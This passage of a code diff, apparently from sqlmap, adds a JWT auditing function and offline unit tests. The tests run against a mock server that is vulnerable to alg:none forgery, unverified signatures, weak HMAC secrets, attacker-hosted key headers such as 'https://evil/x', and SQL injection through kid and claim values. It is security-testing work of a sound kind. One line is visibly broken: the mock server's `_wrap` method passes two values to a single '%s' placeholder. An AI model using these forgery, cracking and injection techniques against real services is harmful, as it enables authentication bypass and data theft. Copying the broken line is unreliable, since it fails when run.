+ alg:none / bit-flipped / expired forgery) are layered on top by the caller, which owns response comparison.
+
+ >>> sorted(_[0] for _ in auditJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ."))
+ ['alg-none', 'no-expiry']
+ """
+
+ findings = []
+ data = parseJWT(token)
+ if not data:
+ return findings
+
+ header, payload = data["header"], data["payload"]
+ alg = (header.get("alg") or "").strip()
+
+ # an unsigned token that the app already issued means forged claims need no key at all
+ if alg.lower() == "none" or data["signature"] == "":
+ findings.append(("alg-none", "critical", "token declares alg '%s' (unsigned)" % (alg or "none"), "claims can be forged with no key"))
+
+ # a guessable HMAC secret is a full forgery primitive - crack it against the provided dictionary
+ if alg.upper() in HMAC_ALGORITHMS and secrets is not None:
+ secret = crackHMAC(token, secrets, crackLimit)
+ if secret is not None:
+ findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed"))
+
+ # an asymmetric token may be vulnerable to RS/HS confusion if the public key is retrievable
+ if alg.upper().startswith(("RS", "ES", "PS")):
+ findings.append(("alg-confusion", "info", "asymmetric algorithm '%s'" % alg, "test RS/HS confusion if the public key is obtainable (JWKS/TLS)"))
+
+ # header fields that pull in attacker-controllable key material (CVE-2018-0114 class)
+ for field in ("jku", "x5u", "jwk", "x5c"):
+ if field in header:
+ findings.append(("header-key-injection", "high", "header carries '%s'" % field, "attacker-hosted key material may be trusted"))
+
+ # 'kid' commonly feeds a key lookup (file/DB/command) - a natural injection point
+ if "kid" in header:
+ findings.append(("kid-injection", "info", "header carries 'kid'", "candidate injection point (SQLi/LFI/path/command via key lookup)"))
+
+ if isinstance(payload, dict) and "exp" not in payload:
+ findings.append(("no-expiry", "high", "no 'exp' claim", "token does not expire"))
+
+ return findings
diff --git a/tests/test_jwt.py b/tests/test_jwt.py
new file mode 100644
index 00000000000..31d0cf66859
--- /dev/null
+++ b/tests/test_jwt.py
@@ -0,0 +1,228 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+Offline tests for the JWT auditor: the dependency-free codec/crypto helpers in lib/utils/jwt.py
+(parse/forge/crack/audit/detect) and the active scan engine in lib/techniques/jwt/inject.py
+(acceptance oracle, forgery confirmation, kid/claim SQL-injection probe). The engine is driven against
+a mock server by monkeypatching the transport, so the whole feature is validated deterministically on
+Python 2.7 / 3.x with no network.
+"""
+
+import os
+import re
+import sys
+import unittest
+
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+from _testutils import bootstrap
+bootstrap()
+
+from lib.core.data import conf
+from lib.core.enums import PLACE
+from lib.utils.jwt import auditJWT
+from lib.utils.jwt import crackHMAC
+from lib.utils.jwt import findJWTs
+from lib.utils.jwt import forgeJWT
+from lib.utils.jwt import parseJWT
+import lib.techniques.jwt.inject as inject
+
+
+class JWTUtilsTest(unittest.TestCase):
+ def test_parse_roundtrip(self):
+ token = forgeJWT({"alg": "HS256", "typ": "JWT"}, {"user": "admin", "role": "user"}, key="secret")
+ data = parseJWT(token)
+ self.assertEqual(data["header"]["alg"], "HS256")
+ self.assertEqual(data["payload"]["user"], "admin")
+
+ def test_parse_rejects_non_jwt(self):
+ for value in ("", "a.b", "a.b.c.d", "not.a.jwt", "eyJx.eyJx"):
+ self.assertIsNone(parseJWT(value))
+
+ def test_forge_none_is_unsigned(self):
+ token = forgeJWT({"alg": "none"}, {"user": "admin"})
+ self.assertTrue(token.endswith("."))
+ self.assertEqual(parseJWT(token)["signature"], "")
+
+ def test_crack_hmac_secret(self):
+ token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t")
+ self.assertEqual(crackHMAC(token, ["a", "s3cr3t", "b"]), "s3cr3t")
+ self.assertIsNone(crackHMAC(token, ["a", "b"]))
+ self.assertIsNone(crackHMAC(token, ["s3cr3t"], limit=0)) # limit reached before the hit
+
+ def test_crack_ignores_non_hmac(self):
+ self.assertIsNone(crackHMAC("eyJhbGciOiJSUzI1NiJ9.eyJ1IjoxfQ.AAAA", ["secret"]))
+
+ def test_audit_flags(self):
+ ids = set(_[0] for _ in auditJWT(forgeJWT({"alg": "none"}, {"user": "admin"})))
+ self.assertIn("alg-none", ids)
+ self.assertIn("no-expiry", ids)
+
+ def test_audit_weak_secret_and_headers(self):
+ token = forgeJWT({"alg": "HS256", "kid": "1", "jku": "https://evil/x"}, {"user": "admin", "exp": 9999999999}, key="secret")
+ ids = set(_[0] for _ in auditJWT(token, secrets=["secret"]))
+ self.assertIn("weak-hmac-secret", ids)
+ self.assertIn("header-key-injection", ids)
+ self.assertIn("kid-injection", ids)
+
+ def test_find_jwts_in_blob(self):
+ token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret")
+ blob = "session=abc; auth=%s; theme=dark" % token
+ self.assertEqual(findJWTs(blob), [token])
+ self.assertEqual(findJWTs("no tokens here"), [])
+
+
+class _MockServer(object):
+ """A trivial JWT-consuming endpoint. `verify` decides how strict it is; `sink` optionally reflects
+ a component (kid / a claim) into a fake SQL error, modelling an injectable key/claim lookup."""
+
+ OK = "welcome back, admin. secret area."
+ DENY = "access denied. please log in."
+ NOROW = "no matching record found."
+ SQLERR = "SQL syntax error near unclosed quotation mark"
+
+ def __init__(self, secret=None, acceptNone=False, verifySig=True, sink=None, alwaysError=False, dynamic=False):
+ self.secret = secret
+ self.acceptNone = acceptNone
+ self.verifySig = verifySig
+ self.sink = sink # ("kid",)/("claim", name) string quote-sink, or ("numclaim", name) numeric sink
+ self.alwaysError = alwaysError # H2: page ALWAYS carries SQL-error text (must not be read as injection)
+ self.dynamic = dynamic # H3: response changes every hit (must not yield a boolean verdict)
+ self._tick = 0
+
+ def _wrap(self, page):
+ if self.dynamic:
+ self._tick += 1
+ return "%s" % (page, self._tick)
+ return page
+
+ def respond(self, token):
+ if self.alwaysError:
+ return self._wrap(self.SQLERR)
+
+ data = parseJWT(token)
+ if not data:
+ return self._wrap(self.DENY)
+
+ if self.sink is not None:
+ reflected = data["header"].get("kid") if self.sink[0] == "kid" else (data["payload"].get(self.sink[1]) if isinstance(data["payload"], dict) else None)
+ reflected = "" if reflected is None else str(reflected)
+ if self.sink[0] in ("claim", "kid") and reflected.count("'") % 2 == 1:
+ return self._wrap(self.SQLERR) # unbalanced quote -> string-context SQL error
+ if self.sink[0] == "numclaim":
+ if "'" in reflected:
+ return self._wrap(self.SQLERR) # quote in a numeric concat -> error
+ m = re.match(r"^\d+ AND (\d+)=(\d+)$", reflected)
+ if m:
+ return self._wrap(self.OK if m.group(1) == m.group(2) else self.NOROW) # AND n=n true, n=n+1 false
+
+ alg = (data["header"].get("alg") or "").lower()
+ if alg == "none":
+ return self._wrap(self.OK if self.acceptNone else self.DENY)
+ if not self.verifySig:
+ return self._wrap(self.OK)
+ if self.secret and forgeJWT(data["header"], data["payload"], key=self.secret) == token:
+ return self._wrap(self.OK)
+ return self._wrap(self.DENY)
+
+
+class JWTEngineTest(unittest.TestCase):
+ def setUp(self):
+ self._origGetPage = inject.Request.getPage
+ self._origParams = conf.parameters
+ self._origSecrets = inject._wordlistSecrets
+ conf.skipUrlEncode = False
+ conf.delay = 0
+ conf.beep = False
+ # keep the offline crack fast: the full 6 MB wordlist sweep is exercised by the utils tests; here
+ # only the small common set is needed (a crackable token uses 'secret', which is in it)
+ from lib.core.settings import JWT_COMMON_SECRETS
+ inject._wordlistSecrets = lambda: iter(JWT_COMMON_SECRETS)
+
+ def tearDown(self):
+ inject.Request.getPage = self._origGetPage
+ conf.parameters = self._origParams
+ inject._wordlistSecrets = self._origSecrets
+ inject._TOKEN = inject._PLACE = inject._HEADER = inject._HEADER_VALUE = None
+
+ def _wire(self, token, server):
+ conf.parameters = {PLACE.GET: "auth=%s" % token}
+
+ def fakeGetPage(**kwargs):
+ raw = kwargs.get("get") or kwargs.get("post") or kwargs.get("cookie") or ""
+ if kwargs.get("auxHeaders"):
+ raw = list(kwargs["auxHeaders"].values())[0]
+ found = findJWTs(raw)
+ return (server.respond(found[0] if found else raw), None, 200)
+
+ inject.Request.getPage = staticmethod(fakeGetPage)
+
+ def _run(self, token, server):
+ self._wire(token, server)
+ return dict((_[0], _) for _ in inject.jwtScan())
+
+ def test_oracle_confirms_alg_none(self):
+ # the server knows its real secret (so the original token is the authenticated baseline) but that
+ # secret is not in sqlmap's crack list; its flaw is accepting an unsigned alg:none forgery
+ token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list")
+ findings = self._run(token, _MockServer(secret="topsecret-not-in-list", acceptNone=True))
+ self.assertIn("alg-none-accepted", findings)
+ self.assertEqual(findings["alg-none-accepted"][1], "critical")
+
+ def test_oracle_confirms_signature_not_verified(self):
+ token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list")
+ findings = self._run(token, _MockServer(verifySig=False))
+ self.assertIn("signature-not-verified", findings)
+
+ def test_strict_server_yields_no_forgery(self):
+ token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list")
+ findings = self._run(token, _MockServer(secret="topsecret-not-in-list"))
+ self.assertNotIn("alg-none-accepted", findings)
+ self.assertNotIn("signature-not-verified", findings)
+
+ def test_weak_secret_cracked_offline(self):
+ token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="secret")
+ findings = self._run(token, _MockServer(secret="secret"))
+ self.assertIn("weak-hmac-secret", findings)
+
+ def test_kid_sql_injection(self):
+ token = forgeJWT({"alg": "none", "kid": "key1"}, {"user": "admin", "exp": 9999999999})
+ findings = self._run(token, _MockServer(acceptNone=True, sink=("kid",)))
+ self.assertIn("kid-injection-confirmed", findings)
+ self.assertEqual(findings["kid-injection-confirmed"][1], "critical")
+
+ def test_claim_sql_injection_via_alg_none(self):
+ token = forgeJWT({"alg": "none"}, {"user": "admin", "exp": 9999999999})
+ findings = self._run(token, _MockServer(acceptNone=True, sink=("claim", "user")))
+ self.assertIn("claim-injection-confirmed", findings)
+
+ def test_numeric_claim_sql_injection(self):
+ # M4: a numeric claim (id) string-interpolated into SQL - detected in an unquoted 'AND n=n' context
+ token = forgeJWT({"alg": "none"}, {"user": "admin", "id": 5, "exp": 9999999999})
+ findings = self._run(token, _MockServer(acceptNone=True, sink=("numclaim", "id")))
+ self.assertIn("claim-injection-confirmed", findings)
+
+ def test_error_based_no_fp_when_baseline_has_sql_error(self):
+ # H2: a page that ALWAYS contains SQL-error text must NOT be reported as an injection
+ token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999})
+ findings = self._run(token, _MockServer(acceptNone=True, alwaysError=True))
+ self.assertNotIn("kid-injection-confirmed", findings)
+ self.assertNotIn("claim-injection-confirmed", findings)
+
+ def test_boolean_no_fp_on_dynamic_page(self):
+ # H3: a response that changes every hit must not yield a boolean SQL-injection verdict
+ token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999})
+ findings = self._run(token, _MockServer(acceptNone=True, dynamic=True))
+ self.assertNotIn("kid-injection-confirmed", findings)
+ self.assertNotIn("claim-injection-confirmed", findings)
+
+ def test_no_token_is_graceful(self):
+ conf.parameters = {PLACE.GET: "q=hello"}
+ inject.Request.getPage = staticmethod(lambda **kwargs: ("x", None, 200))
+ self.assertEqual(inject.jwtScan(), None)
+
+
+if __name__ == "__main__":
+ unittest.main()